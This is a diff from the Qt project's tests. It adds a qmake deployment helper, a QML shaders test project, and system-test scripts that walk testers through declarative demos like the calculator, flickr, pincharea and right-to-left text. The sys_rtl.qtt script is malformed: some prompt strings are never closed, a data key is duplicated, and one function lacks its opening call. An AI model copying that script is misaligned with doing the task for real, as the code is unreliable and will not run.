+defineTest(qtcAddDeployment) {
+for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ item = item$${deploymentfolder}
+ itemsources = $${item}.sources
+ $$itemsources = $$eval($${deploymentfolder}.source)
+ itempath = $${item}.path
+ $$itempath= $$eval($${deploymentfolder}.target)
+ export($$itemsources)
+ export($$itempath)
+ DEPLOYMENT += $$item
+}
+
+MAINPROFILEPWD = $$PWD
+
+symbian {
+ isEmpty(ICON):exists($${TARGET}.svg):ICON = $${TARGET}.svg
+ isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
+} else:win32 {
+ copyCommand =
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ source = $$MAINPROFILEPWD/$$eval($${deploymentfolder}.source)
+ source = $$replace(source, /, \\)
+ sourcePathSegments = $$split(source, \\)
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)/$$last(sourcePathSegments)
+ target = $$replace(target, /, \\)
+ target ~= s,\\\\\\.?\\\\,\\,
+ !isEqual(source,$$target) {
+ !isEmpty(copyCommand):copyCommand += &&
+ isEqual(QMAKE_DIR_SEP, \\) {
+ copyCommand += $(COPY_DIR) \"$$source\" \"$$target\"
+ } else {
+ source = $$replace(source, \\\\, /)
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)
+ target = $$replace(target, \\\\, /)
+ copyCommand += test -d \"$$target\" || mkdir -p \"$$target\" && cp -r \"$$source\" \"$$target\"
+ }
+ }
+ }
+ !isEmpty(copyCommand) {
+ copyCommand = @echo Copying application data... && $$copyCommand
+ copydeploymentfolders.commands = $$copyCommand
+ first.depends = $(first) copydeploymentfolders
+ export(first.depends)
+ export(copydeploymentfolders.commands)
+ QMAKE_EXTRA_TARGETS += first copydeploymentfolders
+ }
+} else:unix {
+ maemo5 {
+ desktopfile.files = $${TARGET}.desktop
+ desktopfile.path = /usr/share/applications/hildon
+ icon.files = $${TARGET}64.png
+ icon.path = /usr/share/icons/hicolor/64x64/apps
+ } else:!isEmpty(MEEGO_VERSION_MAJOR) {
+ desktopfile.files = $${TARGET}_harmattan.desktop
+ desktopfile.path = /usr/share/applications
+ icon.files = $${TARGET}80.png
+ icon.path = /usr/share/icons/hicolor/80x80/apps
+ } else { # Assumed to be a Desktop Unix
+ copyCommand =
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ source = $$MAINPROFILEPWD/$$eval($${deploymentfolder}.source)
+ source = $$replace(source, \\\\, /)
+ macx {
+ target = $$OUT_PWD/$${TARGET}.app/Contents/Resources/$$eval($${deploymentfolder}.target)
+ } else {
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)
+ }
+ target = $$replace(target, \\\\, /)
+ sourcePathSegments = $$split(source, /)
+ targetFullPath = $$target/$$last(sourcePathSegments)
+ targetFullPath ~= s,/\\.?/,/,
+ !isEqual(source,$$targetFullPath) {
+ !isEmpty(copyCommand):copyCommand += &&
+ copyCommand += $(MKDIR) \"$$target\"
+ copyCommand += && $(COPY_DIR) \"$$source\" \"$$target\"
+ }
+ }
+ !isEmpty(copyCommand) {
+ copyCommand = @echo Copying application data... && $$copyCommand
+ copydeploymentfolders.commands = $$copyCommand
+ first.depends = $(first) copydeploymentfolders
+ export(first.depends)
+ export(copydeploymentfolders.commands)
+ QMAKE_EXTRA_TARGETS += first copydeploymentfolders
+ }
+ }
+ installPrefix = /opt/$${TARGET}
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ item = item$${deploymentfolder}
+ itemfiles = $${item}.files
+ $$itemfiles = $$eval($${deploymentfolder}.source)
+ itempath = $${item}.path
+ $$itempath = $${installPrefix}/$$eval($${deploymentfolder}.target)
+ export($$itemfiles)
+ export($$itempath)
+ INSTALLS += $$item
+ }
+
+ !isEmpty(desktopfile.path) {
+ export(icon.files)
+ export(icon.path)
+ export(desktopfile.files)
+ export(desktopfile.path)
+ INSTALLS += icon desktopfile
+ }
+
+ target.path = $${installPrefix}/bin
+ export(target.path)
+ INSTALLS += target
+}
+
+export (ICON)
+export (INSTALLS)
+export (DEPLOYMENT)
+export (TARGET.EPOCHEAPSIZE)
+export (TARGET.CAPABILITY)
+export (LIBS)
+export (QMAKE_EXTRA_TARGETS)
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qmlshadersplugin.pro b/tests/manual/declarative/qmlshadersplugin/qmlshadersplugin.pro
new file mode 100644
index 00000000..98101fb6
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qmlshadersplugin.pro
@@ -0,0 +1,29 @@
+QT += declarative opengl
+
+# Add more folders to ship with the application, here
+folder_01.source = qml/qmlshadersplugintest
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve Qml modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE40472A7
+
+# Define QMLJSDEBUGGER to enable basic debugging (setting breakpoints etc)
+# Define QMLOBSERVER for advanced features (requires experimental QmlInspector plugin!)
+#DEFINES += QMLJSDEBUGGER
+#DEFINES += QMLOBSERVER
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+include(qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/tests/system/declarative/sys_calculator/sys_calculator.pro b/tests/system/declarative/sys_calculator/sys_calculator.pro
new file mode 100644
index 00000000..0ce29735
--- /dev/null
+++ b/tests/system/declarative/sys_calculator/sys_calculator.pro
@@ -0,0 +1,2 @@
+SOURCES=sys_calculator.qtt
+CONFIG+=systemtest
diff --git a/tests/system/declarative/sys_calculator/sys_calculator.qtt b/tests/system/declarative/sys_calculator/sys_calculator.qtt
new file mode 100644
index 00000000..45d6163b
--- /dev/null
+++ b/tests/system/declarative/sys_calculator/sys_calculator.qtt
@@ -0,0 +1,136 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+var add = "+";
+var sub = "-";
+var mul = "x";
+var div = "/";
+var xsquared = "x²";
+var plusminus = "±";
+
+testcase = {
+ initTestCase: function()
+ {
+ print("Please ensure that $PATH contains $QTDIR/bin, and $QT_SRC_DIR is set to the Qt source directory");
+ },
+
+ init: function() {
+ testcase.keyCache = {};
+ },
+
+ binary_operations_data: {
+ operation1: ["0", add, "0", "0"],
+ operation2: ["0", sub, "0", "0"],
+ operation3: ["0", mul, "0", "0"],
+ operation4: ["0", div, "0", "NaN"],
+ operation5: ["0", add, "1", "1"],
+ operation6: ["0", sub, "1", "-1"],
+ operation7: ["0", mul, "1", "0"],
+ operation8: ["0", div, "1", "0"],
+ operation9: ["0.56789", add, "7453.0145", "7453.58239"],
+ operation10: ["0.56789", sub, "7453.0145", "-7452.44661"],
+ operation11: ["0.56789", mul, "7453.0145", "4232.492404405"],
+ operation12: ["0.56789", div, "7453.0145", "0.00007619601437780645"]
+ },
+
+ binary_operations: function(FirstOperand, Operator, SecondOperand, ExpectedResult)
+ {
+ startDemo("calculator");
+
+ var display = findByProperty("qmlType", "Text")[1];
+
+ enterNumber( FirstOperand );
+ select( Operator );
+ enterNumber( SecondOperand );
+ select( "=" );
+
+ compare(getValue(display), ExpectedResult);
+ },
+
+ advanced_mode_data: {
+ operation1: ["-123", "Abs", "123"],
+ operation2: ["3.14159", "Int", "3"],
+ operation3: ["65536", "Sqrt", "256"],
+ operation4: ["123", "^2", "15129"],
+ operation5: ["500", "1/x", "0.002"],
+ operation6: ["999", "+/-", "-999"]
+ },
+
+ advanced_mode: function(Operand, Operator, ExpectedResult)
+ {
+ startDemo("calculator");
+ select("Advanced Mode");
+ wait(1000);
+
+ var display = findWidget("qmlType", "Text")[1];
+
+ enterNumber( Operand );
+ select( Operator );
+
+ compare(getValue(display), ExpectedResult);
+ }
+}
+
+// Enter num as a series of CalcButton activations
+function enterNumber(num) {
+ var numString = num.toString();
+ for (var i=0; i<numString.length; i++) {
+ var digit = numString[i];
+ if (testcase.keyCache[digit] == undefined) {
+ // It is necessary to do this instead of select(digit) because
+ // the display may have the same text as the required button...
+ var button = findWidget( { qmlType: "CalcButton", label: digit } );
+ testcase.keyCache[digit] = button;
+ select(button);
+ } else {
+ select(testcase.keyCache[digit]);
+ }
+ }
+}
+
+// Starts a demo QML file
+function startDemo(demo, demoQml) {
+ if (demoQml == undefined) {
+ demoQml = demo;
+ }
+ startApplication("qml", ["$QT_SRC_DIR/demos/declarative/" + demo + "/" + demoQml + ".qml"]);
+}
diff --git a/tests/system/declarative/sys_dial/sys_dial.pro b/tests/system/declarative/sys_dial/sys_dial.pro
new file mode 100644
index 00000000..6840b598
--- /dev/null
+++ b/tests/system/declarative/sys_dial/sys_dial.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_dial.qtt
diff --git a/tests/system/declarative/sys_dial/sys_dial.qtt b/tests/system/declarative/sys_dial/sys_dial.qtt
new file mode 100644
index 00000000..644468d4
--- /dev/null
+++ b/tests/system/declarative/sys_dial/sys_dial.qtt
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+testcase = {
+
+ qtqmlbat9202: function()
+ {
+ prompt(twiki('---+++ QTQMLBAT9202 - Dial example
+
+| *Step* | *Verification* |
+| Execute examples/declarative/ui-components/dialcontrol/dialcontrol.qml | |
+| Press and drag the slider across and back | Verify that the dial responds appropriately with the position of the slider |'));
+ }
+}
diff --git a/tests/system/declarative/sys_flickr/sys_flickr.pro b/tests/system/declarative/sys_flickr/sys_flickr.pro
new file mode 100644
index 00000000..df7bd6fa
--- /dev/null
+++ b/tests/system/declarative/sys_flickr/sys_flickr.pro
@@ -0,0 +1,2 @@
+SOURCES=sys_flickr.qtt
+CONFIG+=systemtest
diff --git a/tests/system/declarative/sys_flickr/sys_flickr.qtt b/tests/system/declarative/sys_flickr/sys_flickr.qtt
new file mode 100644
index 00000000..54197845
--- /dev/null
+++ b/tests/system/declarative/sys_flickr/sys_flickr.qtt
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//TESTED_COMPONENT=src/declarative
+
+testcase = {
+
+ qtqmlbat9201: function()
+ {
+ prompt(twiki('---+++ QTQMLBAT9201 - Flickr demo
+ | *Step* | *Verification* |
+ | Execute demos/declarative/flickr/flickr.qml | Verify that a dialog with progress wheel is displayed |
+ | Wait for a few moments for the network to connect and download images | Verify that a proper grid is displayed showing flickrs latest images |
+ | On mobile: Select the *View Mode* button | Verify that the view changes to a list in a smooth Wipe transition |
+ | On desktop: Select the *View Mode* button | Verify that the view changes to scrollable dial |
+ | Select the *View Mode* button | Verify that the view reverts to the grid |
+ | Click on the ellipses icon or tags command (if applicable) | Verify that you can enter a tag |
+ | Click OK | Verify that images referring to given tag are displayed |
+ | Select an image | Verify that picture icon moves in to the information panel smoothly and that a new copy of the image is displayed |
+ | Click on the Star Rating (if applicable) | Verify that you can change your rating for the image |
+ | Click on [View]/[More] | Verify that the Flip transition is displayed smoothly and that a full size image is shown |
+ | Move slider to right | Verify that the image zooms in smoothly corresponding with the slider position |
+ | Zoom in completely | Verify that the image zooms in smoothly |
+ | Drag image| Verify that you are able to pan the image up/down left/right (if applicable) |
+ | Leave image in maximum zoom view | |
+ | Click on [Back]/[More] | Verify that the Flip transition is displayed smoothly and that you are returned to the information panel for the image |
+ | Click on [View]/[More] again | Verify that the Flip transition is displayed smoothly and that the image is shown in its original size (not zoomed) |
+ | Revert back to the starting Grid display | Verify that a proper grid is displayed showing flickrs |
+ | Click [Update] | Verify that the grid has updated with fresh images |'));
+ }
+}
diff --git a/tests/system/declarative/sys_parallax/sys_parallax.pro b/tests/system/declarative/sys_parallax/sys_parallax.pro
new file mode 100644
index 00000000..f37fc7fe
--- /dev/null
+++ b/tests/system/declarative/sys_parallax/sys_parallax.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_parallax.qtt
diff --git a/tests/system/declarative/sys_parallax/sys_parallax.qtt b/tests/system/declarative/sys_parallax/sys_parallax.qtt
new file mode 100644
index 00000000..90bd5114
--- /dev/null
+++ b/tests/system/declarative/sys_parallax/sys_parallax.qtt
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//TESTED_COMPONENT=examples/parallax
+
+testcase = {
+
+ qtqmlbat9203: function()
+ {
+ prompt(twiki('---+++ QTQMLBAT9203 - Parallax example
+
+| *Step* | *Verification* |
+| Execute examples/declarative/modelviews/parallax/parallax.qml | Verify that a ticking clock is displayed |
+| Press and drag the right side of the display across to the left | Verify that the display shifts to the second screen |
+| - | Verify that a "smiley" is visible, repeatedly bouncing with an approx. 1 second delay |
+| Press and drag the right side of the display across to the left | Verify that the display shifts to the third screen |
+| Press the leftmost side of the scrollbar entity at the bottom of the display | Verify that the display shifts gently to the first screen |'));
+ }
+
+}
+
diff --git a/tests/system/declarative/sys_pincharea/sys_pincharea.pro b/tests/system/declarative/sys_pincharea/sys_pincharea.pro
new file mode 100644
index 00000000..0aed02e9
--- /dev/null
+++ b/tests/system/declarative/sys_pincharea/sys_pincharea.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_pincharea.qtt
diff --git a/tests/system/declarative/sys_pincharea/sys_pincharea.qtt b/tests/system/declarative/sys_pincharea/sys_pincharea.qtt
new file mode 100644
index 00000000..230ca5ac
--- /dev/null
+++ b/tests/system/declarative/sys_pincharea/sys_pincharea.qtt
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+testcase = {
+
+ pincharea_resize: function()
+ {
+ prompt(twiki('---+++ Scaling
+| *Step* | *Verification* |
+| Execute SystemTests/Qt/examples/declarative/pincharea/pincharea.qml | |
+| Press Enable | Enabler button turns green |
+| Place two fingers apart on any place in the display, and bring them together | Verify that the qt logo is scaled down (becomes smaller), no less than 50% |
+| Place two fingers close together on any place in the display, and push them apart | Verify that the qt logo is scaled up (becomes larger), no more than 200% |
+| Place two fingers apart on any place in the display, and bring them together, then push them apart | Verify that the qt logo is scaled down, then up |
+| Evaluate | All scaling of the logo should be done in sync with the movement of the fingers |'));
+ },
+
+ pincharea_rotate: function()
+ {
+ prompt(twiki('---+++ Rotation
+If the target device is an N8, expect odd behavior when executing this test. The device does not have a multiple touch screen.
+| *Step* | *Verification* |
+| Execute SystemTests/Qt/examples/declarative/pincharea/pincharea.qml | |
+| Press Enable | Enabler button turns green |
+| Place two fingers apart on any place in the display, and turn them in a clockwise circle | The logo rotates with the movement of the fingers |
+| Rotate the logo beyond 180 degrees | The logo stops at 150 degrees and does not invert to -150 degrees |'));
+ },
+
+ pincharea_drag: function()
+ {
+ prompt(twiki('---+++ Dragging
+If the target device is an N8, expect odd behavior when executing this test. The device does not have a multiple touch screen.
+| *Step* | *Verification* |
+| Execute SystemTests/Qt/examples/declarative/pincharea/pincharea.qml | |
+| Press Enable | Enabler button turns green |
+| Place two fingers on the display, and drag around the screen | |
+| | The logo moves in sync with the gesture. The logo does not move its center beyond the bounds of the rectangle |'));
+ }
+
+}
diff --git a/tests/system/declarative/sys_rtl/sys_rtl.pro b/tests/system/declarative/sys_rtl/sys_rtl.pro
new file mode 100644
index 00000000..1837d72d
--- /dev/null
+++ b/tests/system/declarative/sys_rtl/sys_rtl.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_rtl.qtt
diff --git a/tests/system/declarative/sys_rtl/sys_rtl.qtt b/tests/system/declarative/sys_rtl/sys_rtl.qtt
new file mode 100644
index 00000000..ba18237c
--- /dev/null
+++ b/tests/system/declarative/sys_rtl/sys_rtl.qtt
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+testcase = {
+
+ implicit_text_alignment: function()
+ {
+ prompt(twiki('---++ Implicit Text alignment
+Note: Empty/whitepace text has no direction, thus TextEdits will still show the cursor to the left. See http://bugreports.qt.nokia.com/browse/QTBUG-17973
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/rtl/rtltext.qml | Verify that the indicator at the bottom shows Implicit alignment |
+| Observe the three different element types - Text, TextInput, TextEdit | Verify that for each case where the text box shows right-to-left text, the text is aligned to the right |
+ },
+
+ left_center_and_right_text_alignment_data:
+ {
+ left: ["Left", "left"],
+ center: ["Center", "center"],
+ right: ["Right", "right"]
+ },
+
+ left_center_and_right_text_alignment: function(name,alignment)
+ {
+ prompt(twiki('---++ '+name+' Text alignment
+Note: Empty/whitepace text has no direction, thus TextEdits will still show the cursor to the left. See http://bugreports.qt.nokia.com/browse/QTBUG-17973
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/rtl/rtltext.qml | Verify that the indicator at the bottom shows Implicit alignment |
+| Press the indicator until '+name+' alignment shows | Verify that the indicator at the bottom shows '+name+' alignment |
+| Observe the three different element types - Text, TextInput, TextEdit | Verify that for each case where the text box shows right-to-left text, the text is aligned to the '+alignment+' |
+ },
+
+ justified_text_alignment: function()
+ {
+ prompt(twiki('---++ Justified Text alignment
+Note that this only applies to Text and TextEdit. AlignJustify is not available for TextInput
+Note: Empty/whitepace text has no direction, thus TextEdits will still show the cursor to the left. See http://bugreports.qt.nokia.com/browse/QTBUG-17973
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/rtl/rtltext.qml | Verify that the indicator at the bottom shows Implicit alignment |
+| Press the indicator until Justify alignment shows | Verify that the indicator at the bottom shows Justify alignment |
+| Observe two of the three different element types - Text, TextEdit | Verify that for each case where the text box shows right-to-left text, the text is aligned to the right |
+ },
+
+ left_center_and_right_text_alignment_data:
+ {
+ left: ["Left", "left"],
+ center: ["Center", "center"],
+ right: ["Right", "right"]
+ },
+
+ select_copy_paste: function(name,alignment)
+ {
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/rtl/rtltexteditselection.qml | Verify that the indicator at the bottom button shows Implicit alignment |
+| (Skip this on devices with no Home/End key) In the right-to-left TextInput, press Home, then End | Verify the cursor moves fully to the right of the text only, and then fully to the left side respectively |
+| Press the lower button until it shows '+name+' Alignment | |
+| In the TextEdit field, select some of the text some of the Arabic text | The selected text is shown in the Paste: <text> button - it is now copied |
+| At the leftmost position of the text, press Enter on the keypad or soft keyboard | A new line is created below the existing text |
+| Press the Paste: <text> button | The text is pasted into the box, also '+alignment+' aligned |'));
+ }
+
+}
diff --git a/tests/system/declarative/sys_samegame/sys_samegame.pro b/tests/system/declarative/sys_samegame/sys_samegame.pro
new file mode 100644
index 00000000..495a843f
--- /dev/null
+++ b/tests/system/declarative/sys_samegame/sys_samegame.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_samegame.qtt
diff --git a/tests/system/declarative/sys_samegame/sys_samegame.qtt b/tests/system/declarative/sys_samegame/sys_samegame.qtt
new file mode 100644
index 00000000..566aa814
--- /dev/null
+++ b/tests/system/declarative/sys_samegame/sys_samegame.qtt
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//TESTED_COMPONENT=demos/samegame
+
+testcase = {
+
+ qtqmlbat9204: function(){
+ prompt(twiki('---+++ QTQMLBAT9204 - Samegame demo
+
+ | *Step* | *Verification* |
+ | Execute demos/declarative/samegame/samegame.qml | Verify that the Samegame application starts smoothly |
+ | Click on [New Game] | Verify that the balls drop down from top in a smooth fashion |
+ | Click on a grouping of same colored balls | Verify that the balls disappear smoothly and that visual effects (sparkles) are properly shown |
+ | Keep on playing until you clear a whole column of balls | Verify that the body of balls to the right of the column move smoothly to fill the void |
+ | Click on a single colored ball | Verify that this has no effect on the game |
+ | Play the game till the end | Verify that you are prompted to enter your name |
+ | | Verify that you are displayed your score and time taken to achieve that |
+ | Click on [New Game] again | Verify that the transition from score screen to new playing field is smooth |'));
+ }
+}
+
diff --git a/tests/system/declarative/sys_textedit/sys_textedit.pro b/tests/system/declarative/sys_textedit/sys_textedit.pro
new file mode 100644
index 00000000..30d6d5b1
--- /dev/null
+++ b/tests/system/declarative/sys_textedit/sys_textedit.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_textedit.qtt
diff --git a/tests/system/declarative/sys_textedit/sys_textedit.qtt b/tests/system/declarative/sys_textedit/sys_textedit.qtt
new file mode 100644
index 00000000..91ea1f33
--- /dev/null
+++ b/tests/system/declarative/sys_textedit/sys_textedit.qtt
@@ -0,0 +1,116 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
